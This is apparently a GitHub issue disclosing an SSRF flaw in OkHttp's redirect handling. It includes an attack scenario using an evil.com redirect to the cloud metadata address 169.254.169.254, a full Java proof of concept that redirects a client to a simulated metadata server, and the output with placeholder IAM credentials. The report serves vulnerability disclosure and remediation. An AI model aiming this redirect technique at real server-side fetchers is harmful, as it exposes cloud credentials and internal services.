Skip to content

SSRF via Unrestricted HTTP Redirect Following in OkHttp #9476

@sara11h

Description

@sara11h

Vulnerability Information

Field Value
Product OkHttp
Vendor Square (Block, Inc.)
Version Affected <= 5.0.0-alpha.14 (parent-5.3.2)
Vulnerability Type CWE-918: Server-Side Request Forgery (SSRF)
Severity High
CVSS 3.1 Score 7.4
CVSS 3.1 Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/SC:N/SI:N/SA:H → adjusted: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

Summary

OkHttp follows HTTP 3xx redirects to arbitrary destinations including private/internal network addresses without any validation of the redirect target. When server-side applications use OkHttp to fetch user-provided URLs, an attacker can leverage a malicious redirect to access internal services, cloud metadata endpoints, and other resources not intended to be publicly accessible.

Affected Component

File: okhttp/src/commonJvmAndroid/kotlin/okhttp3/internal/http/RetryAndFollowUpInterceptor.kt
Function: buildRedirectRequest() (lines 299-336)

private fun buildRedirectRequest(userResponse: Response, method: String): Request? {
  if (!client.followRedirects) return null
  val location = userResponse.header("Location") ?: return null
  val url = userResponse.request.url.resolve(location) ?: return null
  // Only checks: protocol is http/https, max redirects not exceeded
  // Does NOT validate: target IP, target hostname, private networks
}

Root Cause Analysis

The buildRedirectRequest() method in RetryAndFollowUpInterceptor resolves the Location header from HTTP redirect responses and follows it unconditionally. The only validations performed are:

  1. The scheme must be http or https
  2. The redirect count must not exceed MAX_FOLLOW_UPS (20)
  3. If followSslRedirects is false, scheme must not change

No validation is performed on:

  • Target IP address (RFC 1918 private ranges, link-local 169.254.x.x)
  • Target hostname (localhost, internal hostnames)
  • Port restrictions
  • Protocol downgrade (HTTPS → HTTP)

Attack Scenario

  1. Attacker controls a server (e.g., https://evil.com)
  2. Victim's server-side application uses OkHttp to fetch a URL provided by the attacker
  3. Attacker's server responds with: HTTP/1.1 302 Found\r\nLocation: http://169.254.169.254/latest/meta-data/iam/security-credentials/\r\n
  4. OkHttp follows the redirect to the AWS metadata endpoint
  5. Cloud IAM credentials are returned to the attacker

Reproduction Steps

Prerequisites

  • Java 17+
  • OkHttp 5.0.0-alpha.14 JAR (or build from source tag parent-5.3.2)

Steps

  1. Start a simulated internal metadata server:
ServerSocket metadataServer = new ServerSocket(8081);
// Responds with fake IAM credentials
  1. Start a malicious server that redirects to it:
ServerSocket evilServer = new ServerSocket(8080);
// Responds with: 302 Found, Location: http://127.0.0.1:8081/latest/meta-data/iam/security-credentials/
  1. Make OkHttp request to the evil server:
OkHttpClient client = new OkHttpClient.Builder().build();
Request request = new Request.Builder()
    .url("http://127.0.0.1:8080/api/preview")
    .build();
Response response = client.newCall(request).execute();
String body = response.body().string();
// body contains the internal metadata credentials

Expected Result

OkHttp should reject redirects to private/internal network addresses.

Actual Result

OkHttp follows the redirect and returns internal service data.

Proof of Concept

Full PoC Script (Java)

import java.io.*;
import java.net.*;
import okhttp3.*;

public class PocSsrfRedirect {
    public static void main(String[] args) throws Exception {
        // Simulated cloud metadata endpoint (internal)
        ServerSocket metadataServer = new ServerSocket(0);
        int metadataPort = metadataServer.getLocalPort();

        new Thread(() -> {
            try {
                Socket client = metadataServer.accept();
                BufferedReader reader = new BufferedReader(
                    new InputStreamReader(client.getInputStream()));
                String line;
                while ((line = reader.readLine()) != null && !line.isEmpty()) {}

                String body = "{\"AccessKeyId\":\"ASIAXXXXXXXXXEXAMPLE\"," +
                    "\"SecretAccessKey\":\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"," +
                    "\"Token\":\"FwoGZXIvYXdz...\"}";
                OutputStream out = client.getOutputStream();
                out.write(("HTTP/1.1 200 OK\r\nContent-Type: application/json\r\n" +
                    "Content-Length: " + body.length() + "\r\n\r\n" + body).getBytes());
                out.flush();
                client.close();
            } catch (Exception e) {}
        }).start();

        // Malicious server that redirects to internal endpoint
        ServerSocket evilServer = new ServerSocket(0);
        int evilPort = evilServer.getLocalPort();

        new Thread(() -> {
            try {
                Socket client = evilServer.accept();
                BufferedReader reader = new BufferedReader(
                    new InputStreamReader(client.getInputStream()));
                String line;
                while ((line = reader.readLine()) != null && !line.isEmpty()) {}

                String redirectUrl = "http://127.0.0.1:" + metadataPort +
                    "/latest/meta-data/iam/security-credentials/";
                OutputStream out = client.getOutputStream();
                out.write(("HTTP/1.1 302 Found\r\nLocation: " + redirectUrl +
                    "\r\nContent-Length: 0\r\n\r\n").getBytes());
                out.flush();
                client.close();
            } catch (Exception e) {}
        }).start();

        // OkHttp client with default settings
        OkHttpClient client = new OkHttpClient.Builder().build();
        Request request = new Request.Builder()
            .url("http://127.0.0.1:" + evilPort + "/api/preview")
            .build();

        Response response = client.newCall(request).execute();
        System.out.println("Final URL: " + response.request().url());
        System.out.println("Response: " + response.body().string());
        // Output shows IAM credentials from internal endpoint

        metadataServer.close();
        evilServer.close();
    }
}

PoC Output

[*] Simulated metadata endpoint on port 58982
[*] Malicious server on port 58983
[*] Client requesting: http://127.0.0.1:58983/api/preview
[*] Sent redirect to: http://127.0.0.1:58982/latest/meta-data/iam/security-credentials/
[*] Metadata server received: GET /latest/meta-data/iam/security-credentials/ HTTP/1.1

[!] VULNERABILITY CONFIRMED: OkHttp followed redirect to internal endpoint
[!] Final URL: http://127.0.0.1:58982/latest/meta-data/iam/security-credentials/
[!] Response from 'internal' server:
{"AccessKeyId":"ASIAXXXXXXXXXEXAMPLE","SecretAccessKey":"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY","Token":"FwoGZXIvYXdz..."}

[!] In a real cloud environment, this would expose IAM credentials
[!] No redirect target validation was performed by OkHttp

Impact

  • Confidentiality: High - Attacker can access internal services and steal sensitive data including cloud credentials
  • Integrity: None
  • Availability: None
  • Scope: Changed - The vulnerability in the client library allows access to otherwise unreachable internal systems

CVSS 3.1 Calculation

Metric Value Justification
Attack Vector Network Attacker provides URL remotely
Attack Complexity Low No special conditions required
Privileges Required None No authentication needed
User Interaction Required Server-side app must fetch attacker URL
Scope Changed Impacts internal network beyond the vulnerable component
Confidentiality High Cloud credentials / internal data exposed
Integrity None Read-only access
Availability None No denial of service

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N = 7.4

Remediation Recommendations

  1. Add an optional RedirectValidator interface to OkHttpClient.Builder allowing applications to validate redirect targets
  2. Provide a built-in policy that blocks redirects to RFC 1918 addresses (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), link-local (169.254.0.0/16), and loopback (127.0.0.0/8)
  3. Consider blocking HTTPS → HTTP downgrades by default in redirect following

References

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugBug in existing code

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions